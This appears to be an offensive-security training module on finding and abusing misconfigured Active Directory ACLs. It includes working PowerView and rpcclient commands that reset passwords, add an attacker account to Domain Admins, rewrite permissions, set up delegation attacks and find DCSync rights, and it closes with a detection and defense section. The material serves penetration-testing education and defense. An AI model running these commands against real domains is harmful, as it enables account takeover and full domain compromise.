ACL Enumeration & Abuse

advanced40 minWriteup

Finding and exploiting misconfigured ACLs

Learning Objectives

  • Enumerate ACLs effectively
  • Find abusable permissions
  • Exploit common ACL misconfigs
  • Chain ACL abuses

Access Control Lists (ACLs) in Active Directory are like the invisible permission web connecting every object. While group memberships are obvious, ACL-based permissions are often overlooked - creating hidden privilege escalation paths that

excels at finding.

Think of ACLs as the "who can do what to whom" rules. Maybe Help Desk can reset passwords. Maybe a service account can add members to groups. These permissions accumulate over years of IT changes and often nobody remembers why they exist.

ACL Abuse is King

In modern AD pentests, ACL abuse often provides the escalation path. Direct admin group membership is watched; ACLs enabling the same access are not.

Understanding AD ACLs

1Active Directory ACL Structure:
2├── Security Descriptor
3│ ├── Owner - Who owns the object
4│ ├── DACL (Discretionary ACL)
5│ │ └── ACEs (Access Control Entries)
6│ │ ├── Who (SID)
7│ │ ├── What rights
8│ │ └── Allow/Deny
9│ └── SACL (System ACL)
10│ └── Auditing rules
11 
12Each ACE specifies:
13- SecurityIdentifier: Who (user/group SID)
14- ActiveDirectoryRights: What they can do
15- AccessControlType: Allow or Deny
16- ObjectType: Specific property/right GUID (if extended right)
17- InheritedObjectType: What object types inherit this

Dangerous Rights

1Most Abusable Rights:
2├── GenericAll
3│ └── Full control - do anything
4├── GenericWrite
5│ └── Modify most attributes
6├── WriteOwner
7│ └── Change object owner (then grant yourself full control)
8├── WriteDACL
9│ └── Modify permissions (grant yourself GenericAll)
10├── AllExtendedRights
11│ └── All extended rights (includes password reset!)
12├── ForceChangePassword (User-Force-Change-Password)
13│ └── Reset password without knowing current
14├── Self (Self-Membership)
15│ └── Add yourself to a group
16├── WriteProperty
17│ └── Write specific properties
18│ ├── member (add to group)
19│ ├── servicePrincipalName (Kerberoast)
20│ └── msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD)
21└── DCSync Rights
22 ├── DS-Replication-Get-Changes
23 └── DS-Replication-Get-Changes-All

Enumerating ACLs

PowerView

powershell
1606070;"># Get ACL for specific object
2Get-DomainObjectAcl -Identity 606070;">#a5d6ff;">"Domain Admins" -ResolveGUIDs
3 
4606070;"># Find interesting ACLs (takes time, but gold)
5Find-InterestingDomainAcl -ResolveGUIDs
6 
7606070;"># ACLs where you have rights
8$sid = Get-DomainUser -Identity currentuser | Select -ExpandProperty objectsid
9Get-DomainObjectAcl -ResolveGUIDs | ? {$_.SecurityIdentifier -eq $sid}
10 
11606070;"># Find users with DCSync rights
12Get-DomainObjectAcl -SearchBase 606070;">#a5d6ff;">"DC=corp,DC=local" -SearchScope Base -ResolveGUIDs |
13 ? {($_.ObjectAceType -match 606070;">#a5d6ff;">'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')} |
14 Select SecurityIdentifier, ObjectAceType
15 
16606070;"># Find who can reset password on specific user
17Get-DomainObjectAcl -Identity targetuser -ResolveGUIDs |
18 ? {$_.ObjectAceType -match 606070;">#a5d6ff;">'Force-Change-Password'}

AD Module

powershell
1606070;"># Built-in AD module (needs RSAT)
2Import-Module ActiveDirectory
3 
4606070;"># Get ACL for object
5(Get-Acl 606070;">#a5d6ff;">"AD:CN=Domain Admins,CN=Users,DC=corp,DC=local").Access
6 
7606070;"># More readable output
8(Get-Acl 606070;">#a5d6ff;">"AD:CN=targetuser,CN=Users,DC=corp,DC=local").Access |
9 Select IdentityReference, ActiveDirectoryRights, ObjectType

BloodHound (Best Approach)

1BloodHound visualizes ACL attack paths:
2 
3Queries to run:
4├── 606070;">#a5d6ff;">"Find Shortest Paths to Domain Admins"
5├── 606070;">#a5d6ff;">"Find Principals with DCSync Rights"
6├── 606070;">#a5d6ff;">"Shortest Path from Owned Principals"
7└── 606070;">#a5d6ff;">"List All Kerberoastable Users" (some have ACL paths)
8 
9Key edges to look for:
10├── GenericAll
11├── GenericWrite
12├── WriteDacl
13├── WriteOwner
14├── ForceChangePassword
15├── AddMember
16└── Owns

ACL Abuse Techniques

GenericAll on User

powershell
1606070;"># Full control = do anything
2 
3606070;"># Option 1: Reset password
4Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 606070;">#a5d6ff;">'NewPass123!' -AsPlainText -Force) -Verbose
5 
6606070;"># Option 2: Targeted Kerberoasting (add SPN)
7Set-DomainObject -Identity targetuser -SET @{serviceprincipalname=606070;">#a5d6ff;">'fake/service'}
8606070;"># Now Kerberoast and crack
9 
10606070;"># Option 3: Targeted AS-REP Roasting
11Set-DomainObject -Identity targetuser -XOR @{userAccountControl=4194304}
12606070;"># Now AS-REP roast

GenericAll on Group

powershell
1606070;"># Add yourself (or anyone) to the group
2Add-DomainGroupMember -Identity 606070;">#a5d6ff;">"Domain Admins" -Members attacker
3 
4606070;"># Or using net
5net group 606070;">#a5d6ff;">"Domain Admins" attacker /add /domain

GenericAll on Computer

powershell
1606070;"># Resource-Based Constrained Delegation attack
2606070;"># Grant a computer you control delegation rights to target
3 
4606070;"># Get SID of computer you control
5$sid = Get-DomainComputer -Identity yourcomputer | Select -ExpandProperty objectsid
6 
7606070;"># Create security descriptor
8$SD = New-Object Security.AccessControl.RawSecurityDescriptor(606070;">#a5d6ff;">"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$sid)")
9$bytes = New-Object byte[] ($SD.BinaryLength)
10$SD.GetBinaryForm($bytes, 0)
11 
12606070;"># Set the attribute
13Set-DomainObject -Identity targetcomputer -Set @{606070;">#a5d6ff;">'msDS-AllowedToActOnBehalfOfOtherIdentity'=$bytes}

WriteDACL

powershell
1606070;"># Can modify permissions = grant yourself GenericAll
2Add-DomainObjectAcl -TargetIdentity targetuser -PrincipalIdentity attacker -Rights All
3 
4606070;"># Now you have GenericAll, proceed with those attacks

WriteOwner

powershell
1606070;"># Change owner to yourself
2Set-DomainObjectOwner -Identity targetuser -OwnerIdentity attacker
3 
4606070;"># As owner, grant yourself WriteDACL
5Add-DomainObjectAcl -TargetIdentity targetuser -PrincipalIdentity attacker -Rights All

ForceChangePassword

powershell
1606070;"># Reset password without knowing current
2Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 606070;">#a5d6ff;">'NewPass123!' -AsPlainText -Force)
3 
4606070;"># From Linux with rpcclient
5rpcclient -U 606070;">#a5d6ff;">'attacker%password' dc.corp.local
6rpcclient $> setuserinfo2 targetuser 23 606070;">#a5d6ff;">'NewPass123!'

AddMember (Self)

powershell
1606070;"># Add yourself to the group
2Add-DomainGroupMember -Identity 606070;">#a5d6ff;">"TargetGroup" -Members attacker
3 
4606070;"># This right is specifically for adding yourself
5606070;"># Different from GenericAll which lets you add anyone

Chain Attacks

ACL abuse often chains: You have WriteDACL on User A. User A has GenericAll on Group B. Group B has admin rights on Server C. Three hops to compromise.

DCSync Rights

powershell
1606070;"># DCSync requires these rights on domain root:
2606070;"># - DS-Replication-Get-Changes
3606070;"># - DS-Replication-Get-Changes-All
4606070;"># - (optionally) DS-Replication-Get-Changes-In-Filtered-Set
5 
6606070;"># Find principals with DCSync rights
7Get-DomainObjectAcl -SearchBase 606070;">#a5d6ff;">"DC=corp,DC=local" -SearchScope Base -ResolveGUIDs |
8 Where-Object {
9 ($_.ObjectAceType -match 606070;">#a5d6ff;">'DS-Replication-Get-Changes') -and
10 ($_.ActiveDirectoryRights -match 606070;">#a5d6ff;">'ExtendedRight')
11 } | Select SecurityIdentifier
12 
13606070;"># Resolve SIDs to names
14Get-DomainObjectAcl -SearchBase 606070;">#a5d6ff;">"DC=corp,DC=local" -SearchScope Base -ResolveGUIDs |
15 ? {$_.ObjectAceType -match 606070;">#a5d6ff;">'Replication'} |
16 % { Convert-SidToName $_.SecurityIdentifier }
17 
18606070;"># Default DCSync rights:
19606070;"># - Domain Admins
20606070;"># - Enterprise Admins
21606070;"># - Administrators
22606070;"># - Domain Controllers
23606070;"># - Potentially: Exchange Windows Permissions group!

Exchange = DCSync

The Exchange Windows Permissions group has WriteDACL on the domain object by default. Members can grant themselves DCSync rights! This is a common escalation path.

Common ACL Attack Paths

1Exchange Attack Path:
21. Compromise Exchange server or admin
32. Exchange has WriteDACL on domain
43. Grant yourself DCSync rights
54. DCSync all hashes
65. Golden ticket persistence
7 
8Help Desk Attack Path:
91. Compromise help desk account
102. Help Desk has ForceChangePassword on users
113. Reset password of admin user
124. Login as admin
13 
14Service Account Path:
151. Find service account with GenericWrite on users
162. Set SPN on privileged user (targetd Kerberoasting)
173. Request and crack service ticket
184. Use cracked credentials
19 
20Nested Group Path:
211. You have AddMember on Group A
222. Group A is member of Group B
233. Group B is member of Domain Admins
244. Add yourself to Group A
255. Wait for group membership to propagate
266. You're now Domain Admin

Detection & Defense

1Detection:
2├── Event ID 5136 - Directory service object modified
3│ └── Watch for ACL changes
4├── Event ID 4662 - Operation on directory object
5│ └── Includes replication operations (DCSync)
6├── Event ID 4728/4729 - Member added/removed from group
7├── Event ID 4724 - Password reset attempt
8└── Monitor sensitive object ACL changes
9 
10Defense:
11├── Regular ACL audits
12│ └── Use BloodHound for visualization
13├── Remove unnecessary permissions
14│ └── Especially Exchange permissions
15├── Protected Users group
16│ └── Limits credential exposure
17├── AdminSDHolder protection
18│ └── Resets ACLs on protected objects every hour
19├── Tiered administration model
20│ └── Limits who can manage what
21└── Alert on ACL modifications to sensitive objects

AdminSDHolder

Every 60 minutes, SDProp resets ACLs on protected objects (AdminCount=1) to match AdminSDHolder. Manually added ACEs get removed. This protects Domain Admins but attackers can modify AdminSDHolder itself.

ACL Abuse Methodology

ACL Attack Flow

1
EnumerateFind ACLs on high-value objects
2
Map PathsUse BloodHound to visualize chains
3
Identify AbuseDetermine which rights enable what attacks
4
ExecuteAbuse the ACL (password reset, group add, etc.)
5
EscalateUse new access to continue escalation
6
DocumentRecord the attack path for reporting

Knowledge Check

Quick Quiz
Question 1 of 3

What does the GenericAll ACL right allow?

Challenges

Find the Hidden Path

Challenge
💀 advanced

Using PowerView, enumerate ACLs to find a path from your current user to Domain Admin through ACL abuse (not direct group membership).

Need a hint? (4 available)

Key Takeaways

  • ACLs define "who can do what to whom" in AD
  • GenericAll = full control, most dangerous right
  • WriteDACL/WriteOwner can escalate to GenericAll
  • ForceChangePassword resets without knowing current
  • DCSync rights allow extracting all domain hashes
  • BloodHound visualizes ACL attack paths automatically